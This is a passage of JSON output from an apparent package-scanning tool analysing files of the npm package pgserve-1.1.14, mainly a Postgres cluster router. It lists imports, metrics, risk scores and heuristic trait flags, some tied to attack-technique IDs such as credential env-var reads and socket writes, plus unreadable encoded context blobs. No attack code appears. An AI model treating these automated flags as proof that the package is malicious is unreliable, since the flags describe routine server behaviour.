            "b": "3lQDlayPF5x(\u003eFrz/{ekAXqAPvrcDrdlv\u003ezarR^Hfe1CEwO=f9p/o\u003eVk#H\u0026dCv-dxwGV28vpTS\u003carR^HAb](bwPI]BB7Gl1d0)7UD2NsQaszhvvpTThaBLX23jm)#arSr\u003caw=S\u0026x(vJ@v{%g\u0026C{4ftzE:(hByxojaARJAp/o\u003eVk#H?)arR^Hv@DmaBrCTDvruMZzGGDgC42hfjS[/SBv*v(wPz%5y:ZXXau.[hDKp(rarR^HBAhTHDKp(rarR^H",
            "ln": 18221,
            "col": 1,
            "line": 560
          },
          {
            "b": "mnM=Tr9@i(r7fX=k$\u003eSWqZ\u003c^n3lQDlatkw\u003cnmuyDy?j-gxMXAcz*c7aarR^HAb](bwPI]Bz/c%JzdN^fvp%d0efFwxD2vamc#AKpB75Y)diH=qaBsCrarR^HazCBgc#AKpB75Y)e{8wTwGTc0jS(a[xMXAcz*c7DdiJ%AarR^HarR^Hv@bZ+A.gd\u003cwPz%5y:Y",
            "ln": 18593,
            "col": 22,
            "line": 573
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "PROTOCOL_VERSION_3"
            ],
            [
              "",
              "SSL_REQUEST_CODE"
            ],
            [
              "",
              "GSSAPI_REQUEST_CODE"
            ],
            [
              "",
              "CANCEL_REQUEST_CODE"
            ],
            [
              "",
              "written"
            ],
            [
              "",
              "target.write"
            ],
            [
              "",
              "pending.subarray"
            ],
            [
              "",
              "WORKER_STATS_TIMEOUT_MS"
            ],
            [
              "",
              "WORKER_STATS_REPORT_INTERVAL_MS"
            ],
            [
              "",
              "createLogger"
            ],
            [
              "",
              "router"
            ],
            [
              "",
              "isWindows"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "Bun.listen"
            ],
            [
              "",
              "router.handleSocketData"
            ],
            [
              "",
              "router.handleSocketOpen"
            ],
            [
              "",
              "router.handleSocketClose"
            ],
            [
              "",
              "router.handleSocketError"
            ],
            [
              "",
              "state"
            ],
            [
              "",
              "router.socketState.get"
            ],
            [
              "",
              "state.pendingToClient"
            ],
            [
              "",
              "flushPending"
            ],
            [
              "",
              "state.pgSocket.resume"
            ],
            [
              "",
              "result"
            ],
            [
              "",
              "dbName.replace"
            ],
            [
              "",
              "error.message.includes"
            ],
            [
              "",
              "dbPool"
            ],
            [
              "",
              "dbPool"
            ],
            [
              "",
              "dbPool.unsafe"
            ],
            [
              "",
              "dbPool.close.catch"
            ],
            [
              "",
              "dbPool.close"
            ],
            [
              "",
              "state"
            ],
            [
              "",
              "state.pendingToPg"
            ],
            [
              "",
              "Buffer.concat"
            ],
            [
              "",
              "written"
            ],
            [
              "",
              "state.pgSocket.write"
            ],
            [
              "",
              "state.pendingToPg"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "data.subarray"
            ],
            [
              "",
              "socket.pause"
            ],
            [
              "",
              "state.buffer"
            ],
            [
              "",
              "Buffer.concat"
            ],
            [
              "",
              "state.buffer"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "buffer"
            ],
            [
              "",
              "messageLength"
            ],
            [
              "",
              "buffer.readUInt32BE"
            ],
            [
              "",
              "code"
            ],
            [
              "",
              "buffer.readUInt32BE"
            ],
            [
              "",
              "socket.write"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "state.buffer"
            ],
            [
              "",
              "buffer.subarray"
            ],
            [
              "",
              "socket.end"
            ],
            [
              "",
              "socket.end"
            ],
            [
              "",
              "startupMessage"
            ],
            [
              "",
              "buffer.subarray"
            ],
            [
              "",
              "dbName"
            ],
            [
              "",
              "extractDatabaseName"
            ],
            [
              "",
              "state.dbName"
            ],
            [
              "",
              "router"
            ],
            [
              "",
              "pgHandler"
            ],
            [
              "",
              "state.pendingToClient"
            ],
            [
              "",
              "Buffer.concat"
            ],
            [
              "",
              "written"
            ],
            [
              "",
              "socket.write"
            ],
            [
              "",
              "state.pendingToClient"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "pgData.subarray"
            ],
            [
              "",
              "pgSocket.pause"
            ],
            [
              "",
              "pgSocket.write"
            ],
            [
              "",
              "state.handshakeComplete"
            ],
            [
              "",
              "socket.end"
            ],
            [
              "",
              "router.logger.error"
            ],
            [
              "",
              "socket.end"
            ],
            [
              "",
              "state.pendingToPg"
            ],
            [
              "",
              "flushPending"
            ],
            [
              "",
              "socket.resume"
            ],
            [
              "",
              "state.pgSocket"
            ],
            [
              "",
              "Bun.connect"
            ],
            [
              "",
              "state.pgSocket"
            ],
            [
              "",
              "Bun.connect"
            ],
            [
              "",
              "socket.end"
            ],
            [
              "",
              "state"
            ],
            [
              "",
              "state.pendingToPg"
            ],
            [
              "",
              "state.pendingToClient"
            ],
            [
              "",
              "state.pgSocket.end"
            ],
            [
              "",
              "state"
            ],
            [
              "",
              "state.pendingToPg"
            ],
            [
              "",
              "state.pendingToClient"
            ],
            [
              "",
              "state.pgSocket.end"
            ],
            [
              "",
              "socket.end"
            ],
            [
              "",
              "numWorkers"
            ],
            [
              "",
              "os.cpus"
            ],
            [
              "",
              "port"
            ],
            [
              "",
              "host"
            ],
            [
              "",
              "pgPort"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "logger"
            ],
            [
              "",
              "createLogger"
            ],
            [
              "",
              "pgManager"
            ],
            [
              "",
              "logger.child"
            ],
            [
              "",
              "pgManager.start"
            ],
            [
              "",
              "pgSocketPath"
            ],
            [
              "",
              "pgManager.getSocketPath"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "workers"
            ],
            [
              "",
              "workerStats"
            ],
            [
              "",
              "worker"
            ],
            [
              "",
              "cluster.fork"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "workers.set"
            ],
            [
              "",
              "shuttingDown"
            ],
            [
              "",
              "cluster.on"
            ],
            [
              "",
              "workers.delete"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "newWorker"
            ],
            [
              "",
              "cluster.fork"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "workers.set"
            ],
            [
              "",
              "readyCount"
            ],
            [
              "",
              "cluster.on"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "workerStats.set"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "shuttingDown"
            ],
            [
              "",
              "workers.values"
            ],
            [
              "",
              "worker.send"
            ],
            [
              "",
              "check"
            ],
            [
              "",
              "setInterval"
            ],
            [
              "",
              "clearInterval"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "pgManager.stop"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "totalConnections"
            ],
            [
              "",
              "totalConnected"
            ],
            [
              "",
              "totalDisconnected"
            ],
            [
              "",
              "activeWorkerStats"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "activeWorkerStats.id"
            ],
            [
              "",
              "Array.from.map"
            ],
            [
              "",
              "Array.from"
            ],
            [
              "",
              "workers.values"
            ],
            [
              "",
              "router"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "router.start"
            ],
            [
              "",
              "process.send"
            ],
            [
              "",
              "statsInterval"
            ],
            [
              "",
              "setInterval"
            ],
            [
              "",
              "process.send"
            ],
            [
              "",
              "router.getStats"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "clearInterval"
            ],
            [
              "",
              "router.stop"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "./logger.js"
            ],
            [
              "",
              "./postgres.js"
            ],
            [
              "",
              "./protocol.js"
            ],
            [
              "",
              "bun"
            ],
            [
              "",
              "cluster"
            ],
            [
              "",
              "events"
            ],
            [
              "",
              "os"
            ]
          ],
          "mbr": [
            "Array.from",
            "Array.from().map",
            "Buffer.concat",
            "Buffer.from",
            "Bun.connect",
            "Bun.listen",
            "Date.now",
            "_pgSocket.pause",
            "buffer.length",
            "buffer.readUInt32BE",
            "buffer.subarray",
            "cluster.fork",
            "cluster.isPrimary",
            "cluster.on",
            "console.log",
            "data.byteLength",
            "data.subarray",
            "dbName.replace",
            "dbPool.close",
            "dbPool.close().catch",
            "dbPool.unsafe",
            "error.code",
            "error.message",
            "error.message.includes",
            "logger.child",
            "message.data",
            "message.type",
            "newWorker.id",
            "options.autoProvision",
            "options.baseDir",
            "options.enablePgvector",
            "options.host",
            "options.logLevel",
            "options.maxConnections",
            "options.pgPassword",
            "options.pgPort",
            "options.pgSocketPath",
            "options.pgUser",
            "options.port",
            "options.useRam",
            "options.workers",
            "os.cpus",
            "os.cpus().length",
            "os.platform",
            "pending.byteLength",
            "pending.subarray",
            "pgData.byteLength",
            "pgData.subarray",
            "pgManager.getSocketPath",
            "pgManager.start",
            "pgManager.stop",
            "pgSocket.write",
            "process.env",
            "process.env.PGSERVE_AUTO_PROVISION",
            "process.env.PGSERVE_ENABLE_PGVECTOR",
            "process.env.PGSERVE_HOST",
            "process.env.PGSERVE_LOG_LEVEL",
            "process.env.PGSERVE_MAX_CONNECTIONS",
            "process.env.PGSERVE_PG_PASSWORD",
            "process.env.PGSERVE_PG_PORT",
            "process.env.PGSERVE_PG_SOCKET",
            "process.env.PGSERVE_PG_USER",
            "process.env.PGSERVE_PORT",
            "process.exit",
            "process.on",
            "process.pid",
            "process.send",
            "result.length",
            "router.getStats",
            "router.handleSocketClose",
            "router.handleSocketData",
            "router.handleSocketError",
            "router.handleSocketOpen",
            "router.logger",
            "router.logger.error",
            "router.socketState",
            "router.socketState.get",
            "router.start",
            "router.stop",
            "socket.end",
            "socket.pause",
            "socket.resume",
            "socket.write",
            "state.buffer",
            "state.dbName",
            "state.handshakeComplete",
            "state.pendingToClient",
            "state.pendingToPg",
            "state.pgSocket",
            "state.pgSocket.end",
            "state.pgSocket.resume",
            "state.pgSocket.write",
            "stats.connections",
            "stats.lastUpdate",
            "stats.totalConnected",
            "stats.totalDisconnected",
            "target.write",
            "w.process",
            "w.process.pid",
            "worker.id",
            "worker.send",
            "workerStats.set",
            "workers.delete",
            "workers.set",
            "workers.size",
            "workers.values"
          ],
          "tgt": [
            "Array.from",
            "Array.from().map",
            "Buffer.concat",
            "Buffer.from",
            "Bun.connect",
            "Bun.listen",
            "ClusterRouter",
            "Date.now",
            "Error",
            "Map",
            "PostgresManager",
            "Promise",
            "SQL",
            "Set",
            "String",
            "WeakMap",
            "_pgSocket.pause",
            "buffer.readUInt32BE",
            "buffer.subarray",
            "clearInterval",
            "cluster.fork",
            "cluster.on",
            "console.log",
            "createLogger",
            "data.subarray",
            "dbName.replace",
            "dbPool.close",
            "dbPool.close().catch",
            "dbPool.unsafe",
            "error.message.includes",
            "extractDatabaseName",
            "flushPending",
            "logger.child",
            "os.cpus",
            "os.platform",
            "parseInt",
            "pending.subarray",
            "pgData.subarray",
            "pgManager.getSocketPath",
            "pgManager.start",
            "pgManager.stop",
            "pgSocket.write",
            "process.exit",
            "process.on",
            "process.send",
            "resolve",
            "router.getStats",
            "router.handleSocketClose",
            "router.handleSocketData",
            "router.handleSocketError",
            "router.handleSocketOpen",
            "router.logger.error",
            "router.socketState.get",
            "router.start",
            "router.stop",
            "setInterval",
            "socket.end",
            "socket.pause",
            "socket.resume",
            "socket.write",
            "state.pgSocket.end",
            "state.pgSocket.resume",
            "state.pgSocket.write",
            "target.write",
            "worker.send",
            "workerStats.set",
            "workers.delete",
            "workers.set",
            "workers.values"
          ],
          "funcs": [
            [
              "flushPending",
              891
            ],
            [
              "constructor",
              1510
            ],
            [
              "start",
              2485
            ],
            [
              "data",
              3354
            ],
            [
              "open",
              3443
            ],
            [
              "close",
              3520
            ],
            [
              "error",
              3599
            ],
            [
              "drain",
              3692
            ],
            [
              "createDatabase",
              4439
            ],
            [
              "enablePgvectorExtension",
              5517
            ],
            [
              "anonymous",
              6405
            ],
            [
              "handleSocketOpen",
              6491
            ],
            [
              "handleSocketData",
              6846
            ],
            [
              "processStartupMessage",
              7869
            ],
            [
              "data",
              8953
            ],
            [
              "open",
              9471
            ],
            [
              "close",
              9591
            ],
            [
              "error",
              9653
            ],
            [
              "drain",
              9804
            ],
            [
              "handleSocketClose",
              10583
            ],
            [
              "getStats",
              10977
            ],
            [
              "handleSocketError",
              11261
            ],
            [
              "stop",
              11689
            ],
            [
              "startClusterServer",
              12158
            ],
            [
              "anonymous",
              14328
            ],
            [
              "anonymous",
              15323
            ],
            [
              "anonymous",
              15366
            ],
            [
              "anonymous",
              15936
            ],
            [
              "anonymous",
              16205
            ],
            [
              "anonymous",
              16256
            ],
            [
              "anonymous",
              16515
            ],
            [
              "w",
              17233
            ],
            [
              "anonymous",
              18399
            ],
            [
              "anonymous",
              18663
            ]
          ],
          "metrics": {
            "ast": {
              "op.eq": 16,
              "op.gt": 1,
              "op.lt": 6,
              "op.ne": 5,
              "op.add": 5,
              "op.lor": 35,
              "op.sub": 1,
              "op.land": 2,
              "op.lnot": 11,
              "max_depth": 28,
              "call_count": 140,
              "node_count": 4548,
              "member_count": 106,
              "max_array_len": 2,
              "op_density.eq": 0,
              "op_density.gt": 0,
              "op_density.lt": 0,
              "op_density.ne": 0,
              "op_density.add": 0,
              "op_density.lor": 0.01,
              "op_density.sub": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "max_concat_chain": 2,
              "member_depth_max": 3
            },
            "file": {
              "size": 18859,
              "entropy": 4.85
            },
            "text": {
              "lines": 586,
              "top_char": 101,
              "max_ws_run": 2,
              "digit_ratio": 0.01,
              "space_count": 4343,
              "char_entropy": 4.85,
              "unique_chars": 94,
              "top_char_null": 0,
              "string_density": 0.13,
              "top_char_ratio": 0.07,
              "avg_line_length": 31.18,
              "max_line_length": 112,
              "non_ascii_ratio": 0,
              "empty_line_ratio": 0.11,
              "last_line_length": 1,
              "whitespace_ratio": 0.26,
              "identifier_density": 1.45,
              "line_length_stddev": 24.6,
              "normalized_string_count": 3.1,
              "repeated_char_sequences": 67,
              "suspicious_string_ratio": 0.03,
              "suspicious_comment_ratio": 0.07,
              "suspicious_identifier_ratio": 0.02,
              "normalized_unique_identifiers": 19.25
            },
            "binds": {
              "count": 64
            },
            "binary": {
              "peak_region_bytes": 8192,
              "peak_region_entropy": 5.18
            },
            "source": {
              "class_count": 1,
              "function_count": 18
            },
            "imports": {
              "count": 7,
              "relative": 3,
              "stdlib_count": 3,
              "stdlib_ratio": 0.43,
              "relative_ratio": 0.43,
              "third_party_count": 4,
              "third_party_ratio": 0.57
            },
            "strings": {
              "sql": 1,
              "bytes": 1092,
              "count": 75,
              "shell": 1,
              "ip_count": 6,
              "avg_length": 14.56,
              "max_length": 85,
              "path_count": 3,
              "avg_entropy": 2.73,
              "empty_count": 2,
              "entropy_stddev": 0.9
            },
            "comments": {
              "chars": 3744,
              "count": 67,
              "lines": 102,
              "high_entropy": 5,
              "to_code_ratio": 0.21
            },
            "functions": {
              "count": 19,
              "nested": 8,
              "density": 5.8,
              "anonymous": 11,
              "avg_params": 1.06,
              "code_ratio": 1.17,
              "max_params": 3,
              "one_liners": 2,
              "length_stddev": 33.49,
              "over_100_lines": 1,
              "avg_name_length": 9.91,
              "no_params_count": 9,
              "avg_length_lines": 20.12,
              "max_length_lines": 188,
              "min_length_lines": 1,
              "avg_nesting_depth": 0.76,
              "max_nesting_depth": 3,
              "high_entropy_names": 4,
              "avg_param_name_length": 6.31
            },
            "identifiers": {
              "count": 848,
              "unique": 177,
              "avg_length": 8.9,
              "max_length": 31,
              "min_length": 1,
              "avg_entropy": 2.53,
              "reuse_ratio": 0.21,
              "length_stddev": 5.46,
              "has_digit_ratio": 0.01,
              "sequential_names": 2,
              "base64_like_names": 1,
              "single_char_count": 2,
              "single_char_ratio": 0.01,
              "high_entropy_count": 12,
              "high_entropy_ratio": 0.07,
              "all_lowercase_ratio": 0.49,
              "all_uppercase_ratio": 0.1,
              "numeric_suffix_count": 1,
              "underscore_prefix_count": 1
            }
          }
        },
        "id": 14,
        "mol": "H₃(Cm₂Db₂Os₃)",
        "path": "pgserve-1.1.14.tgz!!package/src/cluster.js",
        "pid": 0,
        "refs": [
          {
            "to": "./logger.js",
            "off": 426,
            "file": 26,
            "kind": "local"
          },
          {
            "to": "./postgres.js",
            "off": 473,
            "file": 32,
            "kind": "local"
          },
          {
            "to": "./protocol.js",
            "off": 526,
            "file": 33,
            "kind": "local"
          }
        ],
        "risk": 6,
        "sha": "d7e2a7d88a274494d29a3afb44d9bea39bb601f1e53d8635d3d4342a7fc73d65",
        "size": 18859,
        "traits": [
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                7372,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                20,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                9030,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/ipc/message::js-event-on-message",
            "conf": 0.8,
            "crit": 1,
            "desc": "JavaScript 'message' event listener",
            "spans": [
              [
                15351,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/ipc/message::node-cluster-import",
            "conf": 1.0,
            "crit": 1,
            "desc": "Imports Node.js cluster module",
            "spans": [
              [
                337,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/ipc/message::node-process-send",
            "conf": 0.95,
            "crit": 3,
            "desc": "Sends message via Node.js process.send",
            "spans": [
              [
                18285,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::result-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Result field or assignment key",
            "spans": [
              [
                4616,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::hostname-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a hostname key",
            "spans": [
              [
                2769,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::username-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a username key",
            "spans": [
              [
                2857,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/cpu::node-cpu-information-query",
            "conf": 0.9,
            "crit": 3,
            "desc": "Queries Node CPU information",
            "spans": [
              [
                12248,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::os-platform-call",
            "conf": 0.75,
            "crit": 2,
            "desc": "Queries OS platform with os.platform()",
            "spans": [
              [
                3127,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/socket/send::node-socket-write",
            "atk": "T1071",
            "mbc": "C0001",
            "conf": 0.86,
            "crit": 3,
            "desc": "Node socket writes a data payload",
            "spans": [
              [
                8250,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/buffer::stream-write-buffer-arg",
            "conf": 0.9,
            "crit": 3,
            "desc": "Writes a buffer argument to a stream",
            "spans": [
              [
                8256,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-select",
            "conf": 0.6,
            "crit": 2,
            "desc": "SQL SELECT syntax reference",
            "spans": [
              [
                4640,
                25
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::service-credential-env-var",
            "conf": 0.86,
            "crit": 3,
            "desc": "Reads secret-like credential env variable",
            "spans": [
              [
                17895,
                31
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-method-call",
            "conf": 0.75,
            "crit": 3,
            "desc": "Calls a Node OS platform method",
            "spans": [
              [
                3127,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/ipc/message::node-cluster-ipc",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node.js Cluster IPC messaging",
            "uses": [
              3,
              4
            ],
            "spans": [
              [
                337,
                7
              ],
              [
                15351,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::host-identity-field-pair",
            "conf": 0.88,
            "crit": 3,
            "desc": "Object literal pairs hostname and username keys",
            "uses": [
              7,
              8
            ],
            "spans": [
              [
                2769,
                19
              ],
              [
                2857,
                19
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 15,
        "mol": "H₄(Db₂FOsPo)",
        "sha": "701bd912016b63fc61db486c240f1c39a8a47cdcaaf116d19cf576c792f6ae9f",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/count-tokens.js",
        "risk": 5,
        "size": 5691,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 16,
        "mol": "H₄(Db₂F₄PoU)",
        "sha": "d1341a98ce640623dc65c882a4ace036111669380422172cf9bbece2064702d4",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/create-frontmatter.js",
        "risk": 6,
        "size": 13159,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 17,
        "mol": "H₃(FPoU)",
        "sha": "c3e0ef0cecf6c4ac76bbb537f374a7316617e9861aead4c50d29be7a70de6fad",
        "path": "pgserve-1.1.14.tgz!!package/src/dashboard.js",
        "risk": 3,
        "size": 6959,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 18,
        "mol": "H(F₂)",
        "sha": "8deadada14c3b7648826c316ed898ea3a17643fbd77fb0c5b19f42fc7624966e",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/detect-markers.js",
        "risk": 3,
        "size": 7018,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 19,
        "mol": "H(F₂)",
        "sha": "089f5d7dda907829f75e478f86da41db7525b2155557e8815ed387da96888db8",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/detect-todos.js",
        "risk": 3,
        "size": 6585,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 20,
        "mol": "H₂(DbF₃)",
        "sha": "fd726942484276b7e9e6a33d1349231d8e35ff6aa5e7ada1720baafd05eddb56",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/detect-unlabeled-blocks.js",
        "risk": 4,
        "size": 3104,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 21,
        "mol": "H₄(CrDb₂F₆Os)",
        "sha": "f5ca3dfbc9f5fbfcf49268d4845999dc694c8aec76f1e2483df172e2c8065c9a",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/embeddings.js",
        "risk": 8,
        "size": 9836,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 23,
        "mol": "H₂(DbF₃)",
        "sha": "4106a502fa84e6554d2e5ef49527dd2981cec0c4d1b67c296154aaabae7778fc",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/find-empty-sections.js",
        "risk": 4,
        "size": 3591,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 24,
        "mol": "H₃(DbOs₂Po₂)Md(In)",
        "sha": "bbcf52cd4d67dab32bc92b1de5debec1459dc898bf6215016925f654605bc2ba",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/index.js",
        "risk": 5,
        "size": 9026,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 26,
        "mol": "H₂(DbU)",
        "sha": "58aa0a534248e1c74f8b12e6ef6c72bfe87bd9f7f12580d73ca9981541239d4c",
        "path": "pgserve-1.1.14.tgz!!package/src/logger.js",
        "risk": 2,
        "size": 2832,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 27,
        "mol": "H₂(CmDb₃)",
        "sha": "38b9c43d75c627836b222fc3cf610fc6a6b17322e203fce741578486e8cdff1e",
        "path": "pgserve-1.1.14.tgz!!package/examples/multi-tenant-demo.js",
        "risk": 4,
        "size": 3107,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 28,
        "mol": "H₃(CmDbF)",
        "sha": "0dc5cc5739a0434e1f5023899ecbe636db18a8d22a9ff5e4c940f77d09f41664",
        "path": "pgserve-1.1.14.tgz!!package/tests/multi-tenant.test.js",
        "risk": 4,
        "size": 5122,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "fdFBUasXHiwOl3{B8#5lzxK4jB95Kpz/M$txlE\u0026@Bz(gxvrDWgeOP9zByx04wPw[\u0026m\u003eFN^yhXbnwmY\u003c]v@#B6zy#nsdHEpFayGebB985nwPF$CeP$YCB7]Mgu)6Aex(n3layGebB985nwPF$xp\u0026yz%xl4MZqa@zYf/Q^vu[rBwzY\u003cdnwGV28xjVrgBzb983lQ/vwQ5rqvpKz2aARpdaz\u003eL4z/M$zwPz\u003caz/cXmB-RTEBz\u003e#bA::63aARpday/kaB7]J8ayDTaayX]7Cv+u6aARpd3lQ/vAb](cBZ]IozEEx[ayPd#aARpdaz#ssvR6Njavf(/wNPQ}x\u003eqrcAa9\u003cgwPzVhu[Ut{B985nwM8D1asHG9d\u003e9bV3lQ/vwQ5f9v@#o)ayMy6x\u003eId4azCXfwN]H-By/olayO(7wPw]3p\u0026yz%",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "v@#Tfu)6V4B0b4swN/\u003e8wN(](xjkH(B95Kkaw+M.i3roNA=#2me^-ZJ3lQ/vra]#!aARgoBrCKpzGu}xxK@q@z/P(fv@#o)aAz4awQ2tszY\u003cdnwGV28xl4N8B7]Mgay!?$cV*FLzE)l(ayX+?yANtee^-ZJfa552ze:AlBrC]MBy/JnefFIGAaJK3",
            "ln": 548,
            "col": 24,
            "line": 10
          },
          {
            "b": "zAq(JB95=\u003e3tBu@z/P}xDMWouC4Cf9z/OM-Byv)LByO#}B0b(Nw].*basw=]flqezfk$\u0026JBz2S9B1RiGcP.Uxfe1CvwO2*6BzbxfazCZoB9RUkaA}KwxDQX\u0026wmY\u003c]v@$KWo\u003c}^PAWSwAazCZoB8\u003e+zAbP/txl4N8e]2Cmv@DmaBrByIuSGP[q+o+WuS6r.moyV}atlMfB985nwM8D1tQ.)xB1nUzwgG8Zi%(sbB-7Yhx-",
            "ln": 717,
            "col": 43,
            "line": 15
          },
          {
            "b": "q+o+WuS6r.moz023lQEiwPS6nzxJ!8ByO#bkoK/KByO#*f\u003cL[.az#sry=.#L3jprPB7ol8vR3@np!8TBvqo.3aA?spB7]Mgay]59wN/*@z/cXfz/M$txlE\u0026@Bz(gxvrDWgeOP9zByx04cOcw*diH=qaBsCraARgoBsnIQvrcB2B08VCz/Z2kA+fqmc@s\u00266Bz2Q",
            "ln": 980,
            "col": 43,
            "line": 22
          },
          {
            "b": "vpKz4vqE69z/Z2kA+fqmeIhcSA=U@kzxJ\u003euBz#wAdjlU?c[co4j%kgVarR^HwQ5f9v@%bfwPRG[BwlgUz/NlNAbP/txl4N8asH68B985nwM8D1diHu8e\u00261!6dk2ZXls?L)f/QKfi%)8MarUluAaJK3c$D[hwN/*Rvqo.3c)@$LB985nwPF$xp\u0026yz%xl0",
            "ln": 1154,
            "col": 52,
            "line": 27
          },
          {
            "b": "au.[hDKp(rv@DmaBrBEYpe\u003c!VmiB-oDKp(rarUSoo\u003c}^PAYLr\u003cf/QKi3lQDlaAhmuBz2S9B5lp!xGvm-fkbovwIngEwPxBRAa:l6A=#1EvRGZky?W^fCRad#g+SrLzzb%EB985nwPGjI3lQEti%(rqaARgoBsnINvru0)wPF#rxK#67zdN/$wmoN*aAg%/vqo.3ayPd#aAhmuBz2S9B5lp!xDQ.@A+e/8CwhejaAzQxBzkP6cOcw*diH=qaBsCrarR!pz/fSr",
            "ln": 2945,
            "col": 76,
            "line": 69
          },
          {
            "b": "yhXbNasw)6cObPEarR^HaAhmuBz2S9B5lp!xGvm-fk\u003e/Kfk\u003eVqePtuzwPz%9fjFTkfk$\u0026JBz2S9B0\u0026HCarR^HEld=UarR!rCYmk7Bsq9vC4Cf9z/OM-Byv)LByO#}A@",
            "ln": 4078,
            "col": 11,
            "line": 101
          },
          {
            "b": "B0b4qwPA5swQ4{gBzkS9ayYwfyH}xawmYZ@z*uhhzGE]ZBzblh3lQDlatkw\u003cxKM6}aA?saBz(gLB8JgtzxJF7B88[cB-X:zzY\u003cjmv@#Tfe]tfwvj(qoz/d9GB8Jgrvru0)aAz4nB-Iwv3lQDlatkw\u003cw)]H%wGY#!K%1^Rx(n0lvqG:5w[=o%B1N!xarR!rCYmk7Bsm",
            "ln": 4329,
            "col": 34,
            "line": 108
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "PG_VERSION_REGEX"
            ],
            [
              "",
              "match"
            ],
            [
              "",
              "versionString.match"
            ],
            [
              "",
              "describe"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
